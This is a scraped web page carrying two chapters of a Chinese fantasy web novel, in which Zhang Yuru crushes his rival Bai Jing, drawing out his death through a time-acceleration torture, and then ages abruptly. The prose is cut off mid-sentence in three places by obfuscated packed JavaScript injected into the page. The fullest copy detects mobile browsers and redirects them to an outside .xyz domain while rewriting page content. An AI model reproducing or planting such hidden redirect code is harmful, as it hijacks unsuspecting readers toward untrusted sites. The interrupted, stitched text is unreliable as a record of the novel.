黑色能量如深渊,将风暴的撕扯力尽数吸纳;白色能量似屏障,把飞溅的冰碴轻轻弹开。风暴在他身侧肆虐,卷起丈高的雪浪,却连他衣袍的边角都没能掀动分毫。 “还有吗?”张玉汝的声音透过风暴传来,清晰得像贴在耳边。 白镜彻底动了怒,猛地一拍碎空镜,镜面瞬间结满冰花。 紧接着,镜面矩阵再次亮起,这一次,光线中裹着刺骨的寒意,地面的积雪骤然隆起,化作数百根冰锥,与光线、空间风暴缠在一起,织成一张冰寒与毁灭交织的巨网,朝着张玉汝罩落。 冰锥擦过冰岩,发出刺耳的刮擦声,连空气都仿佛要被冻结。 可当巨网触及张玉汝周身的黑白能量时,却像撞上了滚烫的烙铁。 冰锥瞬间消融,寒气被黑色能量吞噬,光线被白色能量中和,连狂暴的空间风暴都在那黑白交织的波动中,一点点平息下来,最后化作几缕轻烟,消散在风雪里。 风雪渐歇,张玉汝依旧站在那块冰岩上,仿佛从未动过。 他看着对面气息紊乱的白镜,黑白二色的能量在他眼底微不可察地流转了一下。 白镜望着张玉汝纹丝不动的身影,所有杀招皆如泥牛入海,眼底终于漫开细密的血丝,连呼吸都染上了灼痛。 他牙关猛地一咬,右手成掌狠狠掼向自己的衣襟——粗布衣襟撕裂的脆响刺破凝滞的空气,露出胸膛上纵横交错的淡金色纹路。 掌心的碎空镜早已挣脱束缚,镜面边缘泛着近乎紫色的灵光,它正以肉眼可见的幅度剧烈震颤,仿佛下一刻就要崩裂开来。 镜中映出的不再是他自己的面容,而是无数重叠的虚影在疯狂搅动,冰蓝寒气与银白锋芒在镜面中疯狂绞杀,暗紫色的空间乱流如毒蛇般穿梭其间,每一次碰撞都迸出细碎的空间裂痕。 三种力量在镜中经历了百次千次的冲撞与融合,冰棱被光刃削成齑粉,光刃被乱流绞成碎片,乱流又被寒气冻结成固态,最终在镜面深处凝成一枚核桃大小的光球。 光球表面流淌着黑、白、蓝三色纹路,像是三条纠缠的毒蛇,每一次波动都让周遭早已凝固的空间泛起蛛网般的细密裂纹——这是他以本命精血为引,强行压榨自身本源催出的禁忌杀招,单论威力,足以让方圆十里的空间坍缩成吞噬一切的黑洞。 可张玉汝垂眸时眼睫在眼下投出浅淡的阴影,目光掠过那枚光球时,连眉峰都未曾动过半分,仿佛在看一粒无关紧要的尘埃。他甚至懒得抬抬手,只是指尖微不可察地蜷了蜷。 他的掌心那些盘旋的墨纹突然活了过来,如受潮的墨迹般沿着腕骨攀附上手指,在指尖凝成一道细如发丝的墨线。 那墨线轻轻一颤,周遭的风都停滞了一瞬,紧接着一股无形的威压便如涨潮般漫开,所过之处,连崖边的野草都弯下了腰。 光球在距他三尺之地突然顿住,表面的三色纹路像被掐断的琴弦般骤然崩碎,紧接着“啵”地一声轻响,炸成漫天流萤般的光点。那些光点连半分能量余波都没溅到张玉汝的衣袂上,便化作了虚无。 炸开的光点中,三缕力量如折返的利箭,带着反噬的灼热气劲狠狠撞在白镜胸口。他只觉喉头一甜,身体像是被巨锤砸中,踉跄着连退三步,后背重重撞在冰冷的崖石上才勉强稳住身形。指节因死死抠住崖边的岩石而泛白,指缝间甚至渗出了血珠。 “为什么……”白镜的声音卡在喉咙里,化作破碎的气音,“为什么区区一个大师,会有这种层级的力量?” 心头的质问像疯长的藤蔓,死死缠住他的五脏六腑。张玉汝垂手立于原地的模样太过风轻云淡,衬得他方才拼尽全力的挣扎,活像个在戏台上演着独角戏的小丑,连观众的目光都换不来半分。 胸腔里翻涌的不仅是血气,还有被碾碎的骄傲。白镜望着对方那袭不染尘埃的青衫,突然意识到自己方才的嘶吼与搏杀,或许连让对方认真看一眼的资格都没有。 “不对……一定有哪里不对……”他用尽全力按住突突直跳的太阳穴,指腹因过度用力而泛白,“这家伙的表现绝对有问题,不久之前他还没有这样的实力。” 白镜将后槽牙咬得粉碎,腥甜顺着舌尖漫进喉咙。他知道碎空镜已濒临破碎,却还是按在镜背,指腹死死抠住那些逐渐黯淡的纹路。 这一次,镜面不再向外喷薄力量,而是像张开了无形的巨口,发出呜呜的吸噬声。 周遭悬浮的冰棱被扯出尖锐的破空声,化作冰蓝色的流光卷入镜中;那些尚未消散的光屑如同被磁石吸附的铁砂,争先恐后地扑向镜面;就连凝滞在空中的岩砾也开始震颤,带着灰黑色的轨迹被硬生生拽入——镜身渐渐变得通透,边缘泛起水波般的涟漪,竟隐隐映出凉风之山外翻涌的云海,连云层里穿梭的银线似的飞鸟都清晰可见。 他要以碎空镜为媒介,用最后残存的力量强行撕裂张玉汝布下的「永恒」结界,借外界天地的磅礴之力压垮这个深不可测的对手。 镜面的光泽正以肉眼可见的速度攀升,眼看就要冲破那层无形的桎梏,张玉汝垂在身侧的手指却缓缓抬了起来。 袖口滑落时露出半截手腕,那些盘踞的墨纹像是嗅到了猎物的毒蛇,顺着腕骨蜿蜒爬上脸颊,在眼角勾出一道极淡的墨痕。 “颠倒。”张玉汝的声音很轻,却像一块冰投入滚油,瞬间炸开奇异的波动。 “嗡——” 一声沉闷的低鸣从虚空深处传来,仿佛整个空间都在共振。 原本被白镜强行吸入镜中的岩砾、冰棱、光屑突然齐齐顿住,下一秒便如决堤的洪水般倒涌而出。它们不再是零散的碎屑,而是凝聚成密集的箭雨,每一粒都裹着淡淡的墨色,带着破空的锐啸射向白镜。 最先抵达的冰棱擦过他的耳畔,带起的劲风割得脸颊生疼;紧随其后的岩砾砸在肩头,发出沉闷的响声,骨头像是被生生砸裂;最可怕的是那些光屑,此刻竟变得如刀锋般锋利,瞬间划破了他的衣襟,在皮肤上留下细密的血痕。白镜闷哼着蜷缩起身子,像只被暴雨淋透的虾米,每一寸肌肉都在因剧痛而抽搐。 “当啷——” 碎空镜从他无力的掌心滑落,重重砸在坚硬的岩石上。镜身瞬间裂出蛛网般的纹路,那些曾流转不休的灵光彻底熄灭,只剩下一块黯淡无光的废铁。 张玉汝这时才缓缓直起膝盖,骨节发出轻微的脆响,像是站得久了在活动筋骨。他抬手掸了掸肩头,那里根本没有灰尘,可指尖拂过衣衫的动作却带着一种漫不经心的慵懒。 目光落在蜷缩在地的白镜身上时,连最后一丝若有若无的杀意都淡了下去,只剩下一种近乎漠然的平静。 仿佛在看一只耗尽了力气、再也蹦不起来的蚂蚱,连抬脚碾死的兴趣都已失去。 白镜趴在冰冷的岩面上,碎石硌得胸口的伤口火辣辣地疼,视线却死死黏在张玉汝的右手上。那只手垂在身侧,指尖还沾着一丝墨色,像刚蘸过砚台的毛笔尖,又像凝固的夜露。 方才就是这只手,连像样的起势都没有,只凭一道细如发丝的墨线,便让他耗尽精血的杀招倒戈反噬,此刻那丝墨色正随着主人的呼吸微微颤动,仿佛下一秒就要化作新的杀器。 张玉汝的靴底碾过脚边的碎冰,发出“咔嚓”的脆响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他仍在靠近。靴底碾过的碎冰越来越多,脆响连成一片,像串起的冰珠在敲打着白镜的神经。白镜的攻击越来越急,从袖中抖出的铁蒺藜、藏在发间的银针、甚至咬破舌尖逼出的本命灵光,但凡能想到的底牌都像泼豆子般丢了出去。 起初,铁蒺藜撞上那层无形的屏障还能弹开半尺,银针掠过衣袍时能带起一缕微风,本命灵光甚至能让张玉汝的眉峰微不可察地动了动。 可随着那道身影越走越近,白镜的攻击效果正以肉眼可见的速度衰减——铁蒺藜刚离手便坠在地上,银针没飞出三寸就定在半空,连本命灵光都成了风中残烛,亮一下便彻底熄灭。 到最后,白镜拼尽最后一丝力气,指尖凝聚起半寸长的空间锐刃,朝着张玉汝的膝盖刺去。可锐刃刚脱离指尖,便骤然定在原地,连最细微的颤动都消失了。 「永恒」生效了。 白镜瞳孔骤缩。那些悬在半空的铁蒺藜、银针、符咒残片,连同那道半寸长的空间锐刃,全都被定格在释放的瞬间。 没有张玉汝的许可,它们的所有变化都被抽走了,无论是飞行的轨迹、燃烧的火焰,还是锐刃切割空气的弧度,都将永远固定在这一刻,像被封进琥珀的标本一般。 张玉汝已走到他面前,靴尖距他的脸颊不过半尺。 在白镜那惊恐的眼神之中,张玉汝抬起了自己的右脚,然后一脚踩了下去。 白镜的瞳孔在那一瞬间缩成了针尖,喉咙里发出嗬嗬的抽气声,像被扼住脖颈的困兽。 他眼睁睁看着张玉汝的右脚缓缓抬起,玄色靴底沾着的碎冰在光线下闪着冷冽的光,靴边磨损的纹路里还嵌着几粒灰褐色的岩屑——那是方才碾过冰棱时留下的痕迹,此刻却像悬在头顶的山,带着千钧之力,慢悠悠地朝自己压下来。 时间仿佛被拉长了。 他能看见靴底边缘切开空气的轨迹,能听见自己心脏撞碎在胸腔里的钝响,连崖边呼啸的风都在此刻静止,只剩下那只靴底越来越近,越来越近。 最先被遮蔽的是天空。原本映在视野上方的灰蓝色天幕被靴底一点点吞噬,流云、风影、远处山峦的轮廓,都像被无形的墨笔涂掉,只剩下一块越来越大的玄色阴影。 光线在迅速消失,他鼻尖前的碎石开始陷入昏沉,自己的手、胸口的血痕、散落在旁的碎空镜残片,都在那片阴影里渐渐褪色,像被抽走了所有光亮。 他想闭眼,却发现眼皮重得抬不起来,只能任由那片阴影继续下压。靴底离他的脸不过半尺时,他甚至能闻到靴料上沾染的山雾潮气,带着一丝若有若无的冷意,混着张玉汝身上那股淡淡的松墨香,压得他呼吸都滞涩起来。 “不……”无声的嘶吼堵在喉咙里,碎成了血沫。 靴底终于彻底覆了下来。最后一点光线在视野里熄灭时,白镜仿佛听见了自己意识崩裂的轻响。 黑暗不是骤然降临的,而是像潮水漫过头顶,带着粘稠的重量,一点点漫过他的眉骨、眼睑、鼻尖,将所有感官都裹进一片死寂。 没有疼痛,没有声响,只有一种被整个世界彻底淹没的窒息感,仿佛坠入了万仞深潭,连指尖都触不到一丝可以攀附的东西。 他能感觉到靴底落在后脑的轻响,不是剧痛,而是一种沉闷的震颤,顺着颅骨蔓延到四肢百骸。 可比起这触感,那片彻底的黑暗更让人绝望——像是被封进了密不透风的铁箱,所有挣扎、不甘、质问,都在此刻被碾成了齑粉,连回音都荡不起来。只有无边无际的黑,和黑里那股沉甸甸的、压得人连骨头都要碎掉的寂静。 第 104章 百年复仇 张玉汝的脚就那样悬在白镜头顶,玄色靴底沾着的碎冰在他瞳孔里映出细碎的光。 下一秒,靴底边缘先触到了他汗湿的发顶,带着山涧的寒气,像一片冰凉的云压了下来。 一道淡墨色的光晕悄无声息漫过白镜的眉心——那是「加速世界」的术法,能将受术者的思维流速拔快上千倍,却半点不影响其肉身的迟滞。 寻常人眼中一瞬的触碰,在白镜的意识里却被拉成了漫漫长夜——思维像被注入了沸水的茶叶,疯狂舒展、翻腾,每一个念头都尖锐如刀,可身体却像被冻在万年玄冰里,连指尖的微颤都成了奢望。 他看见靴底的纹路在眼前无限放大,那些被山路磨出的细微沟壑,此刻像横亘在眼前的深谷;沾在靴边的灰褐色岩屑,每一粒都清晰得能数出棱角,正随着缓慢的下落,在他视野里一寸寸挪动。 这不是踩踏,更像一场凌迟,张玉汝的脚没有丝毫急切,只是以一种近乎悲悯的缓慢,一点点压下来。 最先感受到的是头皮被压平的触感。发根被靴底碾得贴向颅骨,带着钝重的麻意,像有无数根针在同时刺向天灵盖。 白镜的大脑在尖叫:抬起来!滚开!他甚至能清晰地“看见”自己的手臂肌肉应该如何收缩,如何握拳,如何拼尽最后一丝力气将这只脚推开——可现实里,他的手臂仍死死贴在冰冷的岩面上,连指节都没能蜷起半分。 神经信号像被困在生锈的管道里,从大脑传到四肢时早已磨成了齑粉,只剩下徒劳的嗡鸣。 压力还在增加。他听见自己的头骨发出细微的声响,不是碎裂,而是一种被缓慢挤压的呻吟,像老旧的木梁在承受过重的分量。 后脑勺下的碎石在靴底与颅骨之间被碾得粉碎,尖锐的棱角刺透头皮,混着血珠渗出来,可这点疼痛在思维的狂潮里,竟轻得像一根羽毛。 更可怕的是那种下沉感——身体正随着张玉汝施加的力道,一点点陷进坚硬的岩面里,仿佛脚下的大地也成了柔软的泥沼,正贪婪地将他吞噬。 这些画面此刻都成了锋利的碎片,在加速的意识里反复切割着他的神经。 靴底已压到眉骨。视野被挤成了狭窄的缝,只剩下无边的黑暗和那只悬在“上方”的脚。 压力顺着颅骨往下蔓延,脊椎发出不堪重负的轻响,每一节骨头都像被无形的手按住,被迫跟着身体向地心沉去。 他想嘶吼,喉咙却像被灌满了铅,只能任由无声的咆哮在胸腔里撞得粉碎;他想闭眼,眼皮却像被钉死在眼眶上,只能眼睁睁看着那片玄色的靴底,像天幕般压得越来越低。这不是疼痛带来的绝望,而是灵肉彻底剥离的酷刑。 思维在光速狂奔,身体却在泥沼里寸步难行,两种极端的割裂感像一把钝锯,正反复锯着他的神智。 张玉汝是在折磨他的肉体,也是在碾碎他的“存在”——让他清晰地感知到自己如何从一个能力者,变成一块被踩进地里的碎石,连反抗的资格都被剥夺得干干净净。 当靴底彻底压实在他头顶时,白镜感觉自己的耳朵贴到了地面。 能听见冰雪被压碎的脆响,能听见自己颅骨与大地碰撞的闷响,更能听见思维在加速的虚无里,发出绷断的轻响。 他还“活着”,却比**更难受。因为在这场被无限拉长的凌迟里,他只能清醒地感受着自己如何被一点点、一寸寸的碾碎。 “头还挺硬的。”张玉汝垂眸看着脚下,语气平淡得像在说今天的天气。 他的靴底微微碾了碾,带起细碎的冰碴,落在白镜耳侧时,在加速的感知里像落了场漫长的冰雨。 脚掌之下,白镜的头颅已破开凉风之山巅那层半尺厚的寒冰。 坚冰碎裂的脆响被无限拉长,在意识里成了持续不断的尖啸。 最先接触冰雪的是后脑的皮肤,冻得像被无数根细针同时扎刺,紧接着是颅骨——坚硬的骨骼碾过冰层时,传来砂纸摩擦般的涩感,冰碴嵌进骨缝的冷意顺着脊椎爬上来,冻得他思维都打了个寒颤。 那些被头颅破开的冰层,碎成了无数根细如牛毛的冰刺。 它们扎进后脑的伤口,有的刺破皮肤,带着刺骨的寒意钻进血肉;有的卡在骨缝里,随着张玉汝脚掌的微动,在加速感知里反复搅动,每一次微小的位移都像持续了半盏茶的酷刑。 白镜能清晰“数”出这些冰刺的数量,三百七十二根,每一根的长度、刺入的角度、乃至尖端凝结的霜花,都在高速运转的意识里刻下了烙印。 他甚至能“看见”其中一根冰刺正顺着血管缓缓推进,冻得血液都泛起了细密的冰珠。 这一切在现实里不过两秒,可在「加速世界」的作用下,对白镜而言,却漫长得像熬过了一个寒冬。 当最后一根冰刺停下动作时,他以为折磨该结束了,却感受到张玉汝的脚掌又加了一分力——原来,这才只是开始。 白镜的头颅继续往下沉,终于撞上了冰层下的永久冻土层。 与纯粹的寒冰不同,这里的冻土混杂着风化的岩砾,在千万年的严寒里凝成了坚硬的整体。 它的硬度或许不及上层坚冰,韧性却强得惊人,像一块冻透的牛皮,裹着彻骨的寒气,迎上了白镜的面庞。 鼻尖先撞上冻土,粗糙的岩砾擦过鼻翼,在加速感知里,那摩擦感持续了一炷香之久,皮肤被磨破的刺痛缓慢而尖锐,血珠刚渗出来就被冻成了细小的冰晶。 接着是脸颊,颧骨压在冻土上,能清晰“摸”到土壤里嵌着的沙粒,每一粒都像被冰镇过的碎石,硌得骨骼隐隐作痛。 连睫毛都沾上了冻土的冰碴,眨眼的动作被拉长成了缓慢的挣扎,冰碴刮过眼睑的涩感,在意识里反复碾磨。 张玉汝的声音再次响起时,像从遥远的冰原传来:“冻土比冰韧些,看来要多费点劲。” 他的语气里听不出丝毫波澜,可脚掌加力的速度却稳得可怕,在白镜的感知里,那力道像是涨潮的海水,一寸寸漫上来,压得他的头骨持续发出沉闷的嗡鸣。 思维仍在疯狂运转,能“计算”出每一秒增加的压力,能“描摹”出自己的脸正如何被冻土一点点压变形,甚至能“闻”到冻土深处万年不化的腐殖土气息,混着冰碴的冷冽,在鼻腔里凝成了冰。 可这一切清晰到残酷的感知,都只存在于意识里——肉身依旧像块僵硬的石头,连抽搐一下都做不到,只能任由那片持续加码的压力,将自己一点点摁进这片永无止境的寒冷里。 当速度抵达极致,周遭万物便成了凝固的画。 「加速世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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第九十年,连恨都磨成了灰,只剩下空洞的痛,像亘古不变的寒风,吹过寸草不生的意识荒原。 当肉体终于彻底失去温度时,他的意识早已在百年酷刑里**千次万次。 灵魂像被揉皱的纸,在无尽的痛苦里烂成了泥,连最后一丝挣扎的力气都没了。 可张玉汝还没停。 他望着脚下彻底不动的躯体,嘴角勾起一抹极淡的弧度,那弧度里没有快意,只有冰封千里的寒意。 他抬手按在眉心,最后一次燃烧生命本源,让「加速世界」的光晕在白镜残存的意识碎片上炸开——哪怕只剩万分之一秒的感知,也要被拉长成永恒。 不原谅。那些被夺走的岁月,被碾碎的信任,被焚烧的家园,怎么能原谅? 不和解。血海深仇刻在骨头上,融进魂魄里,和解便是对逝者的背叛。不放过。 哪怕对方早已魂飞魄散,也要让那最后一丝痛苦,在时间的缝隙里永远回响。 他做到了。 当空间通道的微光在天际亮起时,张玉汝收回手,掌心的墨纹已淡得几乎看不见。 脚下的冻土恢复了平静,仿佛什么都没发生过,或许只有他知道,那片土地下,埋着一个被拉长了百年的、永无止境的噩梦。 第 105章 芳华易逝 当白镜最后一丝生机在冻土下彻底湮灭时,张玉汝的指尖还悬在半空。 那墨色的纹路正以肉眼可见的速度褪去,像将熄的烛火在风中抖着最后几缕光,到末了只剩一层近乎透明的灰影,在苍白的皮肤上若隐若现。 他忽然膝盖一软,整个人像被抽去了所有筋骨的木偶,上半身重重向前倾去。 慌忙中抓住身后的冰柱,掌根压在冻得发脆的冰棱上,竟生生嵌进半分。 冰柱被这突如其来的重量压得微微震颤,表层的霜花便大片大片簌簌坠落,有的落在手背上化成细流,顺着指缝往下淌,在腕间积成小小的水洼;有的粘在他汗湿的鬓角,没等融化就被微弱的呼吸吹得粉碎。 可他什么都没感觉到。掌心的冰寒像隔了层厚厚的棉絮,指尖的麻木早已漫过手腕,沿着血脉往心口爬去。 他能听见自己牙齿打颤的声音,却分不清是冻的还是累的——或许都有。 视线里的冰原开始发晃,远处的冰丘变成一团团模糊的白影,耳边持续着蜂鸣般的钝响,连呼吸都带着铁锈味,每一次吸气都像要扯碎干涩的肺叶。 意识还滞留在那片被拉长的时间荒野里。 身体却像灌了铅,光是维持着扶冰柱的姿势就耗尽了所有力气,指节因为用力而泛白,却仍止不住地微微发抖。 有那么一瞬,他甚至觉得这冰柱也在融化,正一点点从掌心抽离,而自己终将随着那融化的冰水,一同渗入这片死寂的冻土。 当白镜承受百年折磨时,张玉汝并非那隔岸观火之人。 「加速世界」的齿轮每转动一分,白镜的痛苦就被千万倍地撕扯开来——冰刺穿透指骨的脆响会变成震耳欲聋的轰鸣,骨骼被碾磨的涩感会顺着脊椎爬上来,连黑暗里每一次绝望的喘息,都像重锤敲在他的耳膜上。 他的意识像条无形的锁链,一头拴在白镜的魂灵上,一头钉在自己的灵台,白镜承受的每一寸痛,都原封不动地淌进他的四肢百骸。 白镜的痛苦是被动承受的酷刑,而他的痛苦,是主动剖开记忆、反复咀嚼仇恨的凌迟。 可他不能像白镜那样沉沦。 催动「加速世界」的指尖始终悬在半空,指腹因用力而泛白,冷汗顺着鬓角滑进衣领,在冻土上洇出小小的湿痕。 他得死死攥着那根无形的线,既要把痛苦的旋钮拧到最紧,让白镜在放大千万倍的折磨里求生不得求死不能;又得在每一次濒临崩溃的边缘收力,用仅剩的清明托住白镜摇摇欲坠的生机——就像用指尖捏着一根烧红的铁丝,既要握稳了不让它落地,又不能被烫得松手。 外界不过弹指间,他的意识却在那加速的时流里困了百年。 白镜的痛苦是被动的、麻木的、随波逐流的,而他的痛苦是清醒的、主动的、带着刀刃般的自我凌迟。 仇恨像淬了毒的钩子,每一次勾起重演白镜的痛苦,就先把自己的五脏六腑翻出来反复晾晒,直到仇恨与同步的剧痛缠成死结,勒得他喘不过气。 当白镜在百年尽头终于失去声息时,张玉汝扶着冰柱的手猛地打滑。 掌心的冰屑嵌进肉里,他却迟了半秒才感觉到疼——那百年的煎熬早已把他的神经泡得发木,只剩下一种钝重的、弥漫全身的疲惫,像刚从血水里捞出来,连骨头缝里都淌着腥甜的痛。 他的手离开冰柱时,像生锈的零件在做最后一次运转。 筋络在苍白的皮肤下绷出突兀的形状,指节泛着青白色,仿佛轻轻一碰就会碎成冰碴。 每根手指蜷起的弧度都带着滞涩的僵硬,像是有无数细冰碴嵌在关节缝里,要费极大的力气才能弯到一半,再缓缓松开时,指腹与冰面分离的瞬间,甚至能听见皮肤被冻住又撕开的细微声响。 喉间的腥甜已经漫到舌尖,带着铁锈与冻土混合的腥气。他偏过头时,肩膀控制不住地颤抖,像是寒风里随时会折断的枯枝。一口暗紫色的血沫从唇间溢出,起初是细密的血珠,顺着下巴往下滚,在冻得发硬的衣襟上洇出点点深色的痕迹。 他盯着那血冰看了很久,视线却始终聚焦不起来。 眼睫上的霜花融化成水,顺着眼角往下淌,在颧骨处又冻成细小的冰晶,刺得皮肤微微发疼。 可这点疼根本算不了什么——比起意识里反复上演的百年酷刑,比起此刻从骨髓里渗出来的疲惫。 精神上的重负压得他胸口发闷,像有一张浸透冰水的网,从头顶罩下来,将魂魄裹得密不透风。每一次呼吸都带着沉重的拖拽感,肺叶像是被揉皱的纸团,怎么也舒展开来。 他忽然想起白镜最后涣散的眼神,那里面是麻木的解脱,而自己眼底只剩一片烧尽后的空茫。 复仇的火焰熄灭后,没留下任何暖意,只余满地灰烬,连风都懒得吹动。 天边的空间裂隙正在缓慢愈合,边缘的蓝光忽明忽灭,像濒死者最后的脉搏。 他想站直些,脊椎却发出一连串细碎的脆响,从颈椎到腰椎,一节节地呻吟着,像是百年未曾转动过的旧锁。 膝盖弯里猛地窜起一阵剧痛,让他不由自主地晃了晃,伸手去扶冰柱的瞬间,却发现手臂已经抬不起来了。 白镜的灵魂在剧痛中溃散时,至少能沉入永恒的黑暗;而他却要带着清醒的神智,背着百年的重量继续往前走。 每一步都像踩在烧红的刀刃上,脚底的冻土在融化,脚踝处仿佛拖着无形的冰镣,每挪动一寸,都能听见锁链摩擦骨头的钝响。 血沫在唇角结了层暗红的痂,他用手背去擦,指尖却在触到嘴唇的瞬间僵住。那上面还残留着白镜的痛苦——冰刺穿透喉咙的灼热,骨骼碾磨的涩味,黑暗里无尽的寒意。 这些感受像附骨之疽,早已刻进他的神经,与自己的痛缠成一团解不开的死结。 他望着裂隙彻底消失的天际,忽然觉得眼皮重得像坠了冰砣。 世界在视野里倾斜,冰原开始旋转,耳边的风声变成白镜百年间压抑的嘶吼,又或是自己百年里压抑的喘息? 这场意识里的百年同行,终究是他更累些——白镜的灵魂早已在痛苦中溃散,而他,还要带着这百年的重量继续走下去。 张玉汝转头时,颈骨发出轻微的钝响,像是生了锈的合页。 山风掀起他额前散乱的发丝,露出的眉眼再没有半分往日的锐利——那双曾能洞穿空间裂隙、看透对手脏腑的眼睛,此刻蒙着一层灰翳,眼白爬满细密的红丝,瞳孔像是被百年风尘磨钝的刀锋,连映出雨萱的身影时都带着几分滞涩。 分明是二十许人的面容,眼尾却仿佛凝着化不开的苍老。 雨萱下意识攥紧了袖口。她记得不久前这双眼睛看向自己时的模样,像淬了冰的银针,能穿透她所有伪装,连心跳的频率都能看得通透。 可此刻映入眼帘的,只有一片沉沉的浑浊,像古井里积了百年的死水,连风都吹不起涟漪。 这不是那个以大师之身碾碎宗师的怪物,不是那个眼神冷得能冻裂坚冰的天才。 她望着他立在崖边的身影,衣衫被山风灌得鼓鼓囊囊,却莫名透着一股难以言喻的单薄,像个独行在荒原百年的旅人,肩上压着的风霜比山巅的积雪还要厚。 雨萱的心口仿佛忽然被什么东西轻轻蛰了一下,细细的疼顺着身体漫开。 雨萱垂下眼,看见自己的指尖在微微发颤——她竟在可怜这个刚刚虐杀了强敌的人? 这个念头刚冒出来,就被她用力掐灭在心底。 她猛地抬眼,再次看向张玉汝时,刻意绷紧了下颌。 山风卷着碎冰掠过他的发梢,几缕灰白发丝在风里乱舞,那是透支生命本源留下的痕迹。 可那又怎样?他眼底的浑浊里藏着的,是百年复仇烧尽的灰烬,是亲手拖着仇恨走过漫长时光的疲惫,却绝不是需要旁人怜悯的脆弱。 雨萱用力抿了抿唇,将那点不合时宜的刺痛压回心底最深处。 她甚至往后退了半步,指尖悄悄按在腰间的符咒上。 可怜他?她自嘲地弯了弯嘴角。 能让白镜死的如此痛苦的人,哪里轮得到她来可怜。 当白镜在冻土深处发出最后一声破碎的痛吟,彻底沉入永恒的死寂时,那层笼罩天地的「永恒」禁制如冰雪消融般瓦解了。 能量潮汐退去的瞬间,张玉汝浑身剧震,仿佛有什么无形的线从他体内被生生抽离。 最先垮掉的是他的脊背。 原本如松般挺拔的肩线猛地塌下去,像是被无形的重锤砸弯了脊椎,高大的身躯以肉眼可见的速度佝偻下去,后腰弯成一道僵硬的弧线,仿佛再也撑不起自己的重量。 他扶着冰柱的手臂开始不受控制地颤抖,肘部缓缓下沉,直到整个上半身几乎要贴在冰冷的柱壁上。墨色纹路彻底隐去的皮肤正以惊人的速度松弛。 眼角的皱纹像被人用指腹强行揉出来的沟壑,顺着颧骨往下蔓延,在嘴角堆出深深的褶皱;原本紧致的下颌线变得模糊,皮肤松垮垮地垂着,连吞咽都显得吃力。 不过几息的功夫,鬓角的青丝便被霜雪染透,接着是 额前的碎发,最后连头顶的发旋都褪成了苍苍的白,几缕湿发粘在凹陷的太阳穴上,更显枯槁。他垂在身侧的手,指节开始肿大变形,原本修长有力的手指蜷曲着,像是被岁月抽干了血肉,只剩下嶙峋的骨节裹着层薄皮。 指甲泛着青灰,嵌在冻得发僵的皮肉里。 方才还能支撑身体的双腿,此刻膝盖打着颤,像是随时会折断的枯枝,让他整个人矮了大半截,二十岁出头的挺拔身姿,竟在这片刻间被碾成了六七十岁的佝偻模样。 有细碎的冰碴落在他花白的发间,他却连抬手拂去的力气都没了。 呼吸越来越浅,每一次吐气都带着浓重的疲惫,仿佛下一秒就要随着那消散的能量,彻底沉入这片与他一同老去的冻土。 这种变化自然是引起了雨萱等人的注意,雨萱望着张玉汝佝偻下去的背影,睫毛轻轻颤了颤,最终只化作一声几不可闻的叹息。 那叹息混着冰原的寒风,刚出口就散了,她垂在身侧的手捏了捏袖角,终究还是松开来——既没上前,也没开口,仿佛只是看了场与己无关的落幕戏。 雷鸣却不同。他往前挪了半步,靴底碾过冰碴的脆响在寂静里格外清晰。 眉头拧成个疙瘩,下颌线绷得死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16067334|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧,眼神在张玉汝摇摇欲坠的背影上扫来扫去,像头盯着猎物的狼。方才还因张玉汝威压而发白的指节,此刻正缓缓蜷起,指甲深深掐进掌心。 “干掉他……”这念头像毒藤般缠上心头。 他喉结滚了滚,目光掠过张玉汝花白的鬓发、松垮的脊背,还有那扶着冰柱都在打颤的手——这哪还是那个能翻覆天地的强者? 分明是风中残烛,轻轻一吹就灭。 若此刻动手,功劳簿上定能添上最浓墨重彩的一笔。可前一刻被对方气场压得几乎窒息的恐惧还没散尽,他脚边的冰面还留着当时被震裂的细纹,两种念头在脑子里撞得噼啪作响,让他僵在原地,进也不是,退也不是。 丁璎珞站在稍远些的地方,将雷鸣那副蠢相看得一清二楚。 她嘴角勾起抹极淡的冷笑,藏在袖中的手指不屑地蜷了蜷。 蠢货!她在心里骂道。 也不看看张玉汝敢在这时候翻找遗物,是真的油尽灯枯,还是留有后手? 这些暗流涌动,张玉汝全未放在心上。 他的呼吸像破旧的风箱,每一次起伏都带着沉重的喘息。 耗了足足三息,才将弯下的动作完成——背脊弯成个僵硬的弧度,膝盖发出“咯吱”的轻响,仿佛下一秒就要散架。枯瘦的手指在白镜冰冷的衣襟上摸索,动作慢得像在拆解精密的仪器,指尖偶尔碰到冻土上的冰粒,连哆嗦的力气都没有。 良久,他从白镜破碎的衣襟里抽出两样东西。一是碎空镜,镜面布满蛛网状的裂纹,边缘崩碎了大半,原本流转的光泽彻底熄灭,只剩块灰蒙蒙的残片;二是玄霜云珀,那层曾氤氲如雾的白霜褪得干干净净,露出里面暗沉的琥珀底色,像块蒙尘的石头,连最后一点微光都敛了去。 他捏着这两样东西的手指微微收紧,指节因用力而泛出青白,却再没多余的动作。冰冷的风卷着雪沫子扑在他脸上,他连闭眼的力气都快没了。 张玉汝佝偻的脊背刚转了半圈,身后便炸响一声怒喝,震得冻土上的碎冰都簌簌发抖:“贼子休走!把我自然教会的宝物留下来!” 雷鸣的吼声里带着破釜沉舟的狠厉。 他盯着张玉汝那随时会栽倒的背影,方才所有的犹豫都被贪念碾碎——这般风烛残年的模样,纵使有诈,又能剩下几分力气? 错过今日,再难有这等摘桃子的机会。 话音未落,他已抬手引动天雷。 